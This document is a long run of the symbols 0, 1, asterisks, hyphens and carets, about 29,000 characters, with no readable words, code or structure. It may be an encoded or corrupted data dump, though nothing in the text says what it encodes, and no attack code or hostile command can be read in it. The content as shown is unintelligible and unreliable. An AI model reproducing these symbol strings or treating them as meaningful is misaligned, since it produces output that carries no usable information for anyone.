011********0-11*********0^101********101011********00101011********001*101********001101*******************001011*********0110-1********00-011********001101*********1011**********11*0101*10^1*********011*01*0-*01*001^1*001****01*****0--001101*01^1*********1***-001*1***001**00-01*********010-1**00-***1^1^1******0-----10--11*-1*-*01*001^1*^110101*^-00-0-11*101*001*1*1*^110-*101*001*1*01010^1*******00-00-1010-0-*00--------01^-*-00^1101********0-0-1*00^1*^1********1*0-*00^^1*01*1*--------00-**-*01*001^1*^1101********0-01011*00^1*^1*****01**0010-1**^^1*01*1*********10101*010-0010-01*011**1*0--------^-*00-*01*001^1*^1101*^^-11*1*^1*****01**0-^1**1*001*01*1*0011**01101*01*001**0011*00101101010^1*1**0101**011010-01*011*00---------0101*0-*01*001^1*0-1*1101*00101****1**010101011*10^--------10^11*0-*01*001^1*^1101******-101^1*01*001*010^1*********-11*00^-*001*1*1101**101*--------01010-*-00110110^-1*1*^1********1101^1*00^101*001*1*--------1101*1*-*01*001^1*^1101******101*0-11**001*010^-011*011*001*1*********1*1*********1**0101*101*01^11*00^110101^1010-11*1*011011**01**--------10110101*-*01*001^1*^11*0101*001101*---------01101*-*01*001^1*1*^11*-0-11*101*001*1*01^1*11****001**^11**01011********00^11********00110-**********011********0^-********0-*11********010-1*********00^1*******************0-*********00^11********0101^1********00^1*********0011*0101*1*1*001*1*********^^1*0-00^1*01^1*001*******0-11010--*01*01^1*001****01**001**0--0-*001^1*001*******010101010--0011*001^1*001*******-1*10--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0101101******1**00-11****1***1^1^1***00--------01***-00101*001^1*^1101*****00101**01*11*001*010^11*-0-11**1*01*1*01010^1*******0011**1010-0-*00--------11011**-00101*001^1*0101*0-11*--------0^-1*-00^1*0-11*--------110101*00-00101*001^1*^1101*****0011*0-0110-*001*010^--010-11**1*01*1*********0^1*10-^^110^10110^-1*^1**01******00-01**11011*001*011*******1**110-11*00^1011******001**0110101**01*101**011010-01*011*00--------00-01*0-00101*001^1*^1101********00-0101*00^1*^^1^10-11*-*001*1*1101*00101****1**01^110-11011011011******011**0011*101**--------010-1*0-00101*001^1*11011*1101**101*--------1^-1*-*1011*--------0101*1*-00101*001^1*^1101*****00-110-1101101*001*010^1********^^11*001*11*001*1*********10101*********1**0101*101*01^11*00^1101*-110-11*1*011011**001*00--------*01101*-00101*001^1*0101*0-11*0101*001101*--------110-01*-00101*001^1*01101*01^1*11****001***11**01011********^11*********^11*********0-0101********10^101********10101101********-^1********01011011********0-^1*******************101*1********0^11*********0-**********11*0101*10101*001*1*********101*1*0-*001*01^1*001*******-1*10--0-*001^1*001****01*****0--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001***1101******1**0-11***00101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11******010101*11*00-----1^--1^-*-00-*001^1*^1101*******1010^-11*00^1^^1********-00-*00^1101*01*1*-----1^-1^--*-00-*001^1*1*^1********01010101*001*101*01*1*--------0^-1*-*0110^-11*-----1010-110^1**-00-*001^1*-10^-11*********^1*0^-001**00--1*01*-11*101*001*1*-----1010-1101^1*00-00-*001^1*^1101*-00--01010-010-11*1*01101*^1*****01**010110101*001*01****01**001**0--01*^1*****01***110-*001*01*******0-11010--*****001***110-*001*01*******0-11010--*****00110-00^-01*00^1^^1*****01**0010-**0^1101*01*1*101*001^1*-01*--------0^-1*-*1101*-11*-----1010-110101011*0-00-*001^1**11*-11*********^1*0^-001**00--101101*101*001*1*-----1010--0-11*0-00-*001^1*^1101******^1^1*001**^1^^^1^10-11*1101*01*1*101*001^1*10-*1011*0110101******01011**101******11***11011*001******11**0110-1*001*1**--------1^-1*-*0011*-----1010--0010101*-00-*001^1*-01*-11*********^1*0^-001**00--^-*101*001*1*-----1010-1^-101*-00-*001^1*0011*0-11*101*001^1*0-*0-11*--------0^-1*-0011*^-11*-----1010-11*01011*-00-*001^1*10-*-11*********^1*0--00^101^-*1^1**1*001*1*--------0^-1*-*011*0-11*-----1010-1101010-*-00-*001^1*0-1**********1*0^-001**00--11011*0-11*101*001*1*-----1010--0--*-00-*001^1*^1101*****0011***^1**1*010^110-*-11*0-*01*1*101*001^1*^1*0-11*------0--^1**-00-*001^1*^1101********0-*11*00^1*^1101*10-11*0101*01*1*--------01^-*-00^1101******^110^1*1**^1^^1*****01***01101**^1101*01*1*------0-11*-*00-00-*001^1*^1101********01101^1*00^1*^-10-0-11*0101*01*1*********0^1*^-001**00--10-1*101*001*1*------0-1^10101*0-00-*001^1*0-*0-11*101*001^1**01*-11*010101*101****01**11010^1^-0---------10-*-001*^^101*-11*^1*01*1*------0--*-*0-00-*001^1*-11*-11*********^1*0^-001**00---11*0-11*101*001*1*------0--01*01*-00-*001^1*^1101********010101101*00^1*^1********1*0101*00^^1*01*1*101*001^1*0101*0-11*1101*00101^^1*001*1*^1*0--------0^-1*-001*0^-11*------0-1101010101*-00-*001^1*^1101********01*1101*00^1*^1********101^11*00^1011*01*1*********10101*^-001**00--1^1*0-11*101*001*1*------0-11010^11*-00-*001^1*00^^-11*101*001^1*1101*0-11*--------01^-*-00^1101******00^110-1**001*010^1*****01**011*001*001*001*01*1*------0-1101010-*-00-*001^1*10110^-11*********^1*0^-00110101******11011**101******01**01*11**1******01**1010-**1*11****011**1*-*0101*-**^^11010101011*01*001*-1********************011*01*0^-*00--------01^-*-00^1101*********001011*00^1*^1*****01**010^1**01*011*01*1*-----^---101*00-00-*001^1*01011*-11*********^1*0^-001**00--10101*0-11*101*001*1*-----^--11*01*0-00-*001^1*10-*101*001^1*1011*0-11*001*001^1**11010-01*001*001*1*--------^10-*-00^1101********0^-01*00^1*^1*00^-11*1011*01*1*-----^--10^11*0-00-*001^1*^11010-^10-11*1*^1*********00101*001*101*01*1*********0^1*^-001**00--^11*0-11*101*001*1*-----^--01*001*-00-*001^1*^1101********0-10101*00^1*^1*****01***-101*00^^1*01*1*101*001^1*00-*--------0^-1*-00-11*-11*-----^--1*0101*-00-*001^1**110^-1*1*^1********11*101*001*101*01*1*********1*1*^-00110101******-01101*101******01**101***01******01**01*11**1*1**---------10-*-001*^10-0010-11*0101*01*1*-----^--1*1011*-00-*001^1*^1101******1*1101011***1*010^1*****01***001**001*001*01*1*********10101*^-001**00---011*101*001*1*-----^--*0-1*-00-*001^1*^1101*^110-11*1*^^110110-11*0101*01*1*101*001^1*01011*-----110--01***-00-*001^1**01^-11*0101****01**10110^-10110110101******0-*1*101******1***101**001******1**001011**001*11****01**01*001*0101*0101*11011010^1**1^-0011**001*1101*00101*01***1*0--------01^-*-00^1101********00^^1*00^1*^1********10101101*00^1011*01*1*-----110--1*001*0-00-*001^1*1^1*-11*********^1*0^-001**00--1^11*101*001*1*-----110--0010101*0-00-*001^1*1101101*011*1*^1********1010^1*00^1011*01*1*101*001^1*^11*-----110--*1011*0-00-*001^1*^1101*****001101101101*011*00^1^^1*****01**011*01**^1101*01*1*0101****01**10110^-10110110101******0-*1*101******11**10-11**1******11**1^-**1*11*******00101011*10^^-*011*0-001010-0-*00^^11*01011*-11*01***1*0--------01^-*-00^1101********0010-01*00^1*^1********011*11*001*101*01*1*-----110--1^1101*-00-*001^1*01101**********1*0^-001**00--1*11*101*001*1*-----110--101*11*-00-*001^1*0101*0-11*101*001^1*0-1*001*001^1*01101*--------0^-1*-*101*0-11*-----110--11011011*-00-*001^1**1101*101*-11*1*^1*****01**0101***0^^1*01*1*********0^1*^-001**00--110-*101*001*1*-----110---0-1*-00-*001^1*^1101******00^1*010-*001*010^-001*-11*0-*01*1*101*001^1*11011*0101**01*0--------0^-1*-00^1*0-11*-----10--110101**-00-*001^1*10101*-11*********^1*0^-001**00--101011*101*001*1*-----10--1*101*00-00-*001^1*^1101*****00-1^-1011**01*010^1*****01**001***001*001*01*1*101*001^1*-1*0-11*-----10--11*001*0-00-*001^1*-00^-11*--------0^-1*-0011010^-11*-----10--11*101*0-00-*001^1*^110^10^10-11*1*^1^10110-11*1011*01*1*********-1*0^-001**00--10-*0-11*101*001*1*-----10---01011*0-00-*001^1*^1101*********1*11*00^1*^1*****01**010^11**1*011*01*1*101*001^1**11*0011*00101****01**11010^1^-0--------01010-*-00^1101******10101^101*1*00^1^^10-1*1101*01*1*-----10--1*1^1*-00-*001^1*^11010110-10-11*1*^11*0010-11*0101*01*1*********-1*0^-001**00---101*101*001*1*-----10--11*1101*-00-*001^1*1*1*-11*101*001^1*0011*0-11*-----10--10-1101*-00-*001^1*^1101********001*-*00^1*^1********00101011*00^^1*01*1*0101****01**10110^-10110110101******0-*1*101******01**0-^1*001******01***0^1*001*11****01**01*001*0101*1**11011010^1**1^--1**001*0-*00101*-**11*00--------0^-1*-001*1*-11*-----10--110--*-00-*001^1*^1101******11*110-1**001*010^1*****01**0-0101**1*001*01*1*********10101*^-001**00---01*0-11*101*001*1*--------10-**-00-*001^1*^1101*****0010^11010^1**01*010^1*****001**11***001*001*01*1*101*001^1*01101******001**1^11******101**10101******01***00-*****011**0-101*****00101*00^-******1**01011**********1*01*****001**1^1101********11010-*****0101**-001******1**1101^1******1***1******011**1101011*****0011**0^^1********--******11***01101*****01***0-01*****011**0-0011*********11*******1**011011*********110101*****01**01*011*****0011**^11******001***00-******1**^1011******1**^^1*****0101*00-1******001**0-001*********10^11*****001**-*******11**00101011********001*01********-0-******1**0-011*****0011**1*0-*****01**0101^11******1*00^-1*****001**01*0-*****01***00-*****001**00-11******001**^101******1**0^-1********0010-1******1**1*1*****************01**00-******001**00-01*****001**101*1*****001**01010^1********1*1^101*10-*001*1*-*001^1*01011*0-*01^1*001*******-1*10--01011*01^1*001****01*****0--*11*01^1*001****01**001**0--01101*01^1*001****01**0^110^--00101*01^1*001****01**0-010^--0^1*01^1*001*******0-11010--*01*01^1*001*******010101010--001101*01^1*********1***-001*1***001**0110101******011**110101****1**001^1^1*1*******0010101**1*01**0-0--010^1***1^11************1*1**********0010101*11************010-0110101**101*01^1*********001*010-0110101*0011****001***-01*101*1101*110101*******-01*101******1**0^11011*001******1**01*1101*001*1**011****01**0^-11*101******1**010-01**1******1**00--**^-----10--1*1011*0-001011**11*0-11**********1**0-00--------01010-*-00^110^-0010-11*1*^1*********1*1*00^101*001*1*-----10--1101*01*-001011*011011*********-*00^-001**00--101011*-*00-----10--11010^1*-001011*0^110101*^101011*-11*^1*01*1*1*^101011*-11*^1*01*1*1101*0-01*--------0010-1*-*1101*-----10--10-0101*-001011*0^110101*^-0-10-11*-*001*1*1*^1********01*011*00^-*001*1*********00101*^-001**00--101101*-*00-----10---0^11*-001011*001011*1101*0^11*-----10--^101011*-001011*0^110^10-10-11*1*^1^11010-11**1*01*1*********010-^10-00110101******0^-*0101******01**10-11**1******01**11011**001*1**--------01010-*-00^1101*****00^10-101*01*00^1^^11*0110-11*001*001*1*---------**00-001011*01*^101101010-11*-*001*1*********1101*0^-001**00--1*11*-*00--------11011**-001011*0^1101******1*-0010101**^1^^1*****01**0-011**01*01*001*1*1101*001011*010101*0101*--------10110-*-001*^1*****01**0-***0^-*001*1*--------**1*0-001011*0^1101******010^-1***01*010^1*****01**0^11**001*11*001*1*********00101*^-001**00--1^11*-*00--------10-01*0-001011**001*-11*1101**011*---------00-*-00^1101********0-00101*00^1*^1*****01**01^^1*00^101*001*1*--------010-1*0-001011**011*********-*00^-*1**--------1^-1*-**1*-11*--------0-*1*-001011*0^1101******1**01^101*00^1^^-10-0-11*001*001*1*********1*1*^-001**00---101*-*00--------*10101*-001011*0-1*0-11*1101*001101*********-0^1********1010101*****001**001*01********01**1*******************101*********00-1011********110101********00110-01*****01**00101*********0--1********0-0^1*****01**010-1********00-00-********-00-********110^1*****001**00101******001**010-*********0^1*101*10^1*01011*01011*0-11*^1*01^1*001****01*****0--*01*01^1*001****01**0-010^--0-*001^1*001*******0-11010--0011*001^1*001*******010101010--0101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**0010101******01**1*****101***1^11011*1*******0010101*********^1*******1**10-101*****01***-1******1**01**1****************00-*1*001***010101*11*001*1**************************************************************0101*00101*^^1*1*1*0^1*1^1*-01***********0010-011011*001^1*00101*01^1********00^1*010-011011*001^1*101*001*1*-----10--11*1011*-**1*1^1*11011*101*001^1*0101******001011*-1101^11****001**110110--0110^1**1*001*1*00101*011*0011***1*0011*******10101**101******1***-011*001******1**00-0-*00^-----10---0-11*-**1*1^1*^1101******001^^101011*001*010^1*****01**0101*1**^1011*01*1*110101******011**00101******1**01*011**1******1**00101011**^^11010^101^-*1^1*0^101^-*-1**1101*001*001*1*01101*-*00--------110101*00-**1*1^1*^1101******-01101^-1*001*010^1*****01**001011011*00^1011*01*1*110101******011**00101********00-11011*001*********0101011*001**1*-11*01101*^1*0^1101*001*-11*^101^-*-1*00-*00--------0101101*0-**1*1^1**11*001*001^1*1*******001*0^1011*1^110^-^--01********0-0-1*00^-1101*10^^-*-11*001*******-1*10--*10^1********1^^1*001*01*******-1*10--********01^^1*001*01*******-1*10--0^101^-*1^1*0^101^-*-1*001011*01*******001*0^1011*1*01*-11*0011*0011****001**1*0-1^-0--------11*101*-**1*1^1*00-*110101******011**00101*********-0-*001********0010^-*00^^11010-1*0-11*^101^-*101**01101*-*00-1*0-11*01**1101*01*******001*0^1011*1^11010-1*0-11*^101^-*101*********************1^101********01^1*********-01******1*************01^101********1*0011********-0-********001101011*******************101*0101*1*001*1*1**01*1^1*^1*0-11*-----10--110^101*-*101*01^1*00-**********1**0-00--------1^-1*-0011011*-----10--1*-01*-*101*01^1*^1101*****00-01*0011011**1*010^1********1101^1*001*-*01*1*********10101*^-001**00--101011**1*01*1*-----10---101011*-*101*01^1*^110101*^1********101*01*00^1101*01*1*1*^1********101*11*00^1101*01*1**1*01^1*-01*--------1^-1*-*1011*-----10--1*-11*-*101*01^1*1011*0-11*********^1*0^-001**00--101101**1*01*1*--------1101**0-*101*01^1*^1101*****0010--^^1**1*010^1*****01**0010101**0^1011*01*1**1*01^1**11*-*001^1*1*******001*0^1011*^11*0-11*--------0^-1*-*011*0-11*--------1^11*00-*101*01^1*-01**********1*0^-001**00---101**1*01*1*--------101*1*0-*101*01^1**11**1*01^1*01011*110101******011**00101******01**^1***1******01**01***001*011*0-11*01101*011*00^11*01**--------00110-*-001*^1*****01**00-011**1*011*01*1*--------0^-*0-*101*01^1*0-1**********1*0^-001**00--1^11**1*01*1*--------001*01*-*101*01^1*^11010--10-11*1*^101011*-11*1101*01*1**1*01^1*^11*0101*0-*001*1*--------1^-1*-0010-*---------1^1*-*101*01^1*0-*0-11*********^1*0^-001**00--1*11**1*01*1*--------0^1101*-*101*01^1*11011**1*01^1*01101*********00^1********00110^11********0^1101********00^1*********1^-********00^1*********001101********0^-********001101******001***001*********01^-*******************00-1********01*^1*****01**01101*********0-1*0101*^101*01*1*0101*01^1*^11*0-*01^1*001*******-1*10--01011*01^1*001*******010101010--*11*01^1*001****01**001**0--01101*01^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0^101******01**-00-***001**001^11011*1*******0010101*^1*011**00-11010110^11**-^1*****************1^^1**10110110-10-1**00--***01**1*******0010101*^1*001**^101*1*1101**0-*11***********0010^1**********001010^101*001*1*------0--101011*0-00-----10--1*1*1*-0011011*1^1*10-*--------^10-*-00^1101*********001101*00^1*^^1^10-11*10-*1*1*-----10--1*00101*-0011011*1^1*^1101*010110-11*1*^-011*-11*10-*1*1*********-1*0^-001**00--^-**1*01*1*-----10--1^-01*-0011011*1^1*^1101******-010101*101*00^1^^1*11010-11*0011*01*1**1*01^1*-01*--------01^-*-00^110101*^1********101*01*00^1101*01*1*1*^-0-00-11*1101*01*1*-----10--11*0-*-0011011*1^1*^1101******-^10110^1*001*010^10^-0-11*1011*01*1*********0^1*^-001**00--101101**1*01*1*-----10--110--*-0011011*1^1*^1101*****00101*01011011**0^1^^1*****01***0101**01*011*01*1**1*01^1*^11*1101*01*******001*0^1011*101101*--------0^-1*-00-1*0-11*--------11*1*00-0011011*1^1*1101*0-11*********^1*0^-001**00--1*11**1*01*1*--------011011*00-0011011*1^1*1*^^101*-11*00-*1*1**1*01^1**11*--------101*1*0-0011011*1^1*^1*0-11*0101*0110101******0-*1*101********00-1*1*001********001**1*001*11*******00101011*10^^-*011*0-0010110--*00^10-*-10^-11*01**--------01^-*-00^1101*****00-1*010^-*00^1^^1********-0-1*001*011*01*1*----------1*0-0011011*1^1*^1101******1010-00^-*001*010^10--0-11*1011*01*1*********0^1*^-001**00---101**1*01*1*--------1101^1*-0011011*1^1*^1101******10^-010101**^1^^1*****01**01*1101*001*011*01*1**1*01^1*00-*010101*0101**********0-*********0-01********--1*******************-00-********^1^1********************-********001011******01**00^11*********1**********^^1*********--*****01**0101101********00-00-********00--*****01**010^1********001*1*101*1011011*1*1*11011*1^1*0101*0-11******01**01**110-0-01*001^1*00101*01^1******1**00101*110-0-01*001^1*011****001**^-01*101*1101*001*001*1**************************************************************0101*00101*10^11*1*1*^11*1^1*01011*110101******011**00101******01**-0-1*001******01**00--*00^^1101011011*^101^-*-1**1101*001*001*1*11011*-**01*001^1*1*******001*0^1011*1*11010-01*^1101*-*^101^-*-1*00--------0010^1*-00-01*1^1*^1101******0010^--11*00^1^^1********--01*001*011*01*1*********0^-0^-00-110^1**0--^-00--01********0^-01*001**01101*^10-0110-11*001****01**001**0--01*^1*****01**011*1**01*01*******0-11010--*****001**011*1**01*01*******0-11010--011011*^101^-*-1*001**00--101101*1**00--^101*-*********00101^1********0101^1***************************************************011*00101*10-01*1*1*-01*1^1*^11*00-0110101******001^^-110110-*001*1*--------1^-1*-00^11*--------101*11*-0010101*1^1*00-**********1*0^-00-*001*1*-*001^1*1*******0010101^1010-0011*001*1*********0-1*********10^1*******************010^1****************************************00-*00101*1010101*1*1*10101*1^1*-01*********001^1010-0---------01^11*-001^1*1^1*-01*--------101*^10-*101****1****^-101^11*001*1*****************************************00101*********00101********************11*00101*101^1*1*1*1^1*1^1*01101******001**001010-0-0-01*001^1*00101*01^1********00^1*010-0-101*0110101******1*1101*101******01**-0^1*001******01**11*011*00^110101******001^1*0101******01**11*001*001******01**11010101*00^110101*******-*00101******1**0^1*1*001******1**010101101*00^-01*110101******-*1*0101******1**0^^1**1******1***00101**^^1********************--*******************0--*******************0101*00101*101*1*1*1*1*1*1^1*01101*********11010110^-00110101******0110-*0101******01**01011011*001******01**01*-*00^^1*01011*01*******00-1101^10-00101****1**0-11*-101^11*001*1*********1011*1*-********00101*******************************0^1*********101********************0011*00101*10-1*01*1*-1*01^1*01101*011*001^1*110101******0-^1*101******01**10-101*001******01**-00-*001*001*0-----10--101*011*-*101*01^1*01101*0011*0110101******1*001*0101******11**110-01*001******11**00-101*00^110101******1*0101*101******1**00-1011*001******1***01^1*001*11**101****1**0^1^-00-00-1*011****011**0011*1*101*^11*1*1^-00110^1101*001*******************0-*001*01*-1*--------001**00-*101*01^1*^1101******110--11*1*001*010^-01*0-11*1011*01*1******001**011010-00-001**00---011**1*01*1*--------*001*00-*101*01^1*0011*0-11**1*01^1*11011*010101*0101*--------01^-*-00^1101******-1*01*-*00^1^^1*****01**00--**1*011*01*1*--------1*001*0-*101*01^1*^1101*****001*1*^-1**^1^^1*****01**011011**001*011*01*1*********10101*^-001**00--101011**1*01*1*--------*0011*0-*101*01^1*^1101******^10^1^101*00^1^^1*****01***-01**1*011*01*1**1*01^1*01011*--------1^-1*-00-01*--------0--*0-*101*01^1**11**********1*0010-00110101******-01101*101******11**-^1**1******11**^101**01*11*00--------1^-1*-*1011*--------1*0101*-*101*01^1*^110^1011*-11*1*^1********10^101*00^1101*01*1*********0^1*^-001**00--1^11**1*01*1*******1***^1*-*001*01^1*01101*********10^101********^1^1********-0^1******************001*0011********010101********00-0^1********010101********0010^11*********01*********0101^1********01*0011*****01**011**********1011*0101*^101*01*1*0101*01^1*^1*0-11*1011*01^1*001*******-1*10--*11*01^1*001****01**0^110^--01101*01^1*001****01**0-010^--010-*1^1*001****01*****0--*-*1^1*001*******0-11010--001101*01^1*********1***-001*1***001***0101******101*00^1****^1**001^11011*1*******0010101*********011*******011*001^^1*****011**0-******0011**101*01**********001*******0010101*********011*******11**001101*********10101******11**01******************00101^1*00^1010^-*00--------0^-*0-0010-*1^1*^110101^^1********11011011*001**1*1*1*1^^1********11011011*001**1*1*1*-----1010--10-0--^^101^-*10101*01*1*1101*01*1*--------1010^1*-0010-*1^1*^1101******011*-^-*001*010^1*****01**0-101**0^-1*01*1*1101*01^1**11010-01*1101*01*1*--------*01101*-0010-*1^1*01011*-----^--1*01010-1^^11010-01*011****001**01010110-10110^1*0-*001*1*---------*11*-0010-*1^1*11011*-*001^1**11010-01*-*001*1*********11*11******************************-*********010^1*********-***********01*******************11*11********0^1*0101*1010-*1*1*10-*1^1*00-***********0010-01101^1*********11*0010-0110101****01**00101*-10110^1*01*1*011****001**1^1^-1011011**^1*01*1*011****001**-01^-101^11*001*1*^1*01*1*011****001**10101^-10110101*001*1*^1*01*1*011****001**^-00-1011*1*001*1*^1*01*1*^1*01^1*011****001***01^1^-0-*00--------00110-*-00^11010101^10-11*1*^-011*-11*00101*1*1*-----110--010-*00-0011011*1^1*^1*0-11*********^1*0^-*11*001*1*--------0^-1*-*101*0-11*-----110--1*101*0-0011011*1^1*^1101011011010-11*1*^1********01010-*00^10101*1*1*********0^1*010-*101******001*1**10^101*001*1*--------0^-1*-*101*0-11*-----110--0110-*0-0011011*1^1*^1101*****00--01*00-*001*010^10^1*-11*1*1*1*1*********0^1*010-00110101******010-1*0101******1**00-1101*001******1**01010^1*001*01*001*1*-----110--0-^1*-0011011*1^1*^1101*******--0-**01*010^110^110-11*-1*01*1*011*001^1*011****001**10101**101*11****001**10110110-101^11*******011**0010^^11*-*00101101011*001^101101*001*0-*-*001*1*^1*0-----110--110^11*-0011011*1^1*^110101*^1********-11011*00^10101*1*1*1*^1********-01011*00^10101*1*1*011*001^1*011****001**00101**101*001*01*1*110101*******-01*101******01**010-1**1******01**0^1**001*11****001**10110110-101^11*******011**0010^^11*-*00101101011*001^101101*001********00^1^1*00^-*001*1*^1*0011****01**0^-11*101******1**00110^1*001******1**010101101*00^-----10--101*1*00-0011011*1^1*^1101******11*001101011**1*010^1*11*-11*-1*01*1**1*01^1*011****001**1^1**10^110101******1*101*0101******1**001101101*001******1**001011011*00^110101******011*1*0101******1***1^1**1******1**00-1**00^110101******0^^1*101**********^1*001*********110-1*001*001*0-----10--1^1011*0-0011011*1^1*-1*0-11**1*01^1*011****001**1^1**10^110101******1*101*010^--10-11*1^1*-11*110101******0^^1*101******01**00-1**01******01**0101101**1*001*0--------1^-1*-*1101*-----10--1*1^1*-0011011*1^1*0011*0-11*********^1*0^-00-11010110101******-01101*101******1**00-^1*001******1**0^-11*00^110101******1*101*0101******11**01101011*001******11**010-01*00^110101******0^^1*101******1**0101***01******1**011*11**1*001*0110101******11011**101********00^1^1*001*********-*1*001*11****011**0011*1*101*^11*1*110-^-01^1**1*******************00-*01*01*0-**1**01*01^1*1*******001*0^1011*101101*--------01010-*-*10110^1011*1*^1********-01101*00^1^1*1*1*--------*01**-0011011*1^1*1*^1********-00-*001*^1*1*1*********-1*0^-**0110110101******0010^1*101******01**^^11*001******01**10-101*001*11*******00101011*10^^-*011*0-0010^10-1*001*1011*10101010-11*011*001*1*110101******0010^1*101*********1010101*001*********-1011*001*11*******00101011*10^^-*011*0-0010^10-1*001*0011**********00101*001*11*001*1*011*001^1*011****001**10110110-101^11*******011**0010^^11*-*00101101011*001^101101*00^^1*0-11*-*001*1*^1*0--------110-1*0-0011011*1^1*00-*101*001^1*011****001**10110110-101^11****011**10-001*10^1101**-^1*^-101011*001*0101*^11*01011*-11*-*001*1*^1**1*001^1*011****001**10110110-101^11****011**1*-*0101*-**^^1011010^10-1*001*0-*******************001011*01*0^-*001*1*^1******001**0-0^1*****001**-1011****************01**0-001******01**11011******001**0-1101*****001**0011*1*****01**00-0-********0-11*********-11*********00-01*****01**0-001********001010101******1**010^1****************01***00101*********001*101*1011011*1*1*11011*1^1*1011*0-11******011***0101*0-00-*001^1*01101*011*001^1*0101*******0011*0--0101*001^1*0101*******0011*0--*1*001^1*0101*******0011*0--0--------101^11*-00^11*1^1*^11******011**0011*1^-*11****001**1*-0-1011*1*00^1*******************************0101*******************0011011********************11*00101*10^11*1*1*^11*1^1*01011******011**010-0110-01101^1*********11*0010-0-011*0011****001**01^1101^-*01*********0-****************************************************0101*00101*10-01*1*1*-01*1^1**11*-----110--010-*00-*-*01^1*^1101*****0010^11*1*11*00^1^^1********11*101*001**1*1*1*********10101**-00--------0^-1*-*101*0-11*-----110--1101101*0-*-*01^1*1^1*-11*********^1*0^-001**00--10-1*0011*01*1*-----110--0-011*0-*-*01^1*^1101**********-*00^1*^1********1101*1*001*0101*1*1*0011*01^1*-01*--------0^-1*-*011*0-11*-----110--1011*1*-*-*01^1*^110101^1^-11*1*^101011*00101*1*1*********0-*0^-001**00--101101*0011*01*1*-----110--10^101*-*-*01^1*^1101*****0011*11*0-01*001*010^1*****001**001***0^-1*01*1*0011*01^1*00-*******1**001*1*-00--------1^-1*-*-1*-----110--*^11*-*-*01^1*1*^1********-00101*00^1^1*1*1*********-1*0^-001**00---011*0011*01*1*-----110--1*0-*-*-*01^1*01101*0011*01^1**11*0101*0011****001**01101**101*1**--------^10-*-00^110101*^1101^10-11*10101*1*1*1*^1101^10-11*10101*1*1*-----10---***-*-*01^1*10-**********1*0^-001**00---101*0011*01*1*-----10--110101**-*-*01^1*^1101*******1**0-1*001*010^-1*10-11*1*1*1*1*0011*01^1*01011*0101*01^1*0101****01**00110^-101^11*00--------00110-*-00^110^110-0-11*1*^-101^-11*00101*1*1*-----10----1*00-*-*01^1**11**********1*0^-001**00--1^11*0011*01*1*-----10--11*101*0-*-*01^1*^1101*******1101011***01*010^1*****01***0-**0^-1*01*1*0011*01^1*10-*0011*00101^-01*01*1*0101*01*1*--------0^-1*-*1101*-11*-----10--10110-*0-*-*01^1*10101*-11*********^1*0^-001**00--^-*0011*01*1*-----10--1^1*1*-*-*01^1*^1101*-00--0^1*^-11**110101*^1*01010-11*001****01**001**0--01*^1********0101^1*001*01****01**001**0--********00101^1*001*01****01**001**0--01*^--*-11*1^1*1*1*1*^^1*10-11*1^1*1*1*0011*01^1*11011*1101*01^1*01101*--------01^-*-00^1101******-01*01*01*001*010^1*****01**0101011**0^-1*01*1*-----10--101101011*-*-*01^1*^1*0-11*********^1*0^-001**00--101011*0011*01*1*-----10--1^10-*-*-*01^1*^1101*****00-1*^1*01*00^1^^1*****01****01**1**1*1*1*0011*01^1*0-1*--------1***0-*-*01^1*1*^1*****01**0-***01*^1*1*1******0101***00-00-00110101******-01101*101*********0101011*001*********^1101*001*001*0--------^10-*-00^1101*****00^11*0^-1*001*010^10-*0-11*1*1*1*1*--------101011*00-*-*01^1*1101*0-11*********^1*0^-001**00--110-*0011*01*1*--------*^1*0-*-*01^1*00101*-11*0011*01^1*^11*1101*00101****01**0^1*1^-0--------0^-1*-*0101*-11*--------1*011*0-*-*01^1*^1101******1***00101*00^1^^-10-0-11**01*1*1*********0^1*^-001**00--1*11*0011*01*1*--------10-11*0-*-*01^1*^1101******00^10101*11*001*010^1*****01**00110101**^-1*01*1*0011*01^1*01101*****************1****001*****01***1*1*****001**001^1********00101^1******1**1*001*********011*********101^1********0110-******1**01^1011*****001**-1******001***11*******1**-001**********-******1**011*1********00^1011*****01***00-1*****01**001*101********0010^1*****001**-1*******1**1*001*****001***011011*****01**011*11*********110101*****01***101101********^11*101*^-*01*1*0-*01^1**11*-11*10101*1^1*001****01**001**0--*101*1^1*001****01**0-010^--01^1*1^1*001****01*****0--00^1*1^1*001*******0-11010--01*1*1^1*001*******-1*10--*001*1^1*001****01**0^110^--0-1*01^1*001*******010101010--001101*01^1*********1***-001*1***001**0-001******-**01101****01**001^11011*********--------1^101*0-*10101*1^1*11****001**1*1**01011**************************************************00-*********00101*00101*^101*01*1*0101*01^1**11*01010^--------1*001*0-*01*001^1*^11*--------^10-*-00^1101*****00-0101011010101*00^1^^110-110-11**1*01*1*--------^1101*0-*01*001^1**11**********1*010-^^110^101101010-**1*0-*******011**001101**^1101**********010-*001*011*0^11010-11*0101**011010-01*011**101*******1*101*10^101**01*0011**01**--------011*01*-*01*001^1*^1101******0^11011*11**1*010^-010^-11*-*001*1*--------1^-1*-*0-*--------0-^1*-*01*001^1*^1101********01*0-*00^1*^10110-0-11*011*001*1*********0^1*********1**0101*101*01^11*00^110101*1^-11*1*011*1**-*0101**-*0--------11*011*-*01*001^1*1*^11*0110-11*101*001*1*0101*001101********************010101********01101101********0110^1********0^-**********^1********0-**********01*1********1*011********0110^1********00101*0101*1*1*001*1*001*001^1*^1*0-11**1*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**001^1******1**01*1***00101***1^1^1***00--------0-001*0-*10101*1^1*11****001***01**01011********011*******************************-*********00-*********00101*00101*1*01*01*1**1*01^1*^11*01010^--------**1*0-*01*001^1*1*^-110110-11*101*001*1*--------01^-*-00^1101******^1*^-**01*010^1*****01**0101101**01*11*001*1*---------1101*0-*01*001^1*^1101********0-10-*00^1*^1********0101^1*00^101*001*1*********10101*10-^^110^10110^1011**1*0-*******^1**011**00^1101*******1**011*1**1*011*********011*011*001*101**011010-01*011**101****1**00-110-11011011**11011******011**0011*101**---------1^1*-*01*001^1*^11*--------1^-1*-*0011*--------10110101*-*01*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^110101101*0-11*1*011*1*00101*00---------*11*-*01*001^1*01011*0101*001101*********010101*******************01*^1********101*01*******************101*********00-11*********^11*********-001*******************0101*0101*1*1*001*1*001*001